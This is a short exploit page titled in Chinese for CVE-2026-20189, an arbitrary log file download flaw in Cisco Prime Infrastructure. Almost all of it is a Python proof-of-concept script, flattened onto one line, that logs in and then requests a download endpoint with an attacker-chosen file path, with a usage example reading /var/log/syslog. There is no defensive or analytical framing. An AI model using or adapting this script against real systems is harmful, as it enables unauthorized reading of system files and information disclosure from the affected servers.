CVE-2026-20189 Cisco Prime Infrastructure 任意日志文件下载漏洞

import requests def exploit(target, username, password, log_path): session = requests.Session() # Step 1: Authenticate (Valid credentials required) login_data = {'username': username, 'password': password} session.post(f"{target}/webui/login", data=login_data, verify=False) # Step 2: Exploit Authorization Bypass # Craft URL to download arbitrary log file exploit_url = f"{target}/webui/api/log/download?file={log_path}" response = session.get(exploit_url, verify=False) if response.status_code == 200: print(f"[+] Success! Log content length: {len(response.text)}") return response.text else: print("[-] Exploit failed") return None # Usage # exploit("https://target-ip", "attacker", "pass", "/var/log/syslog")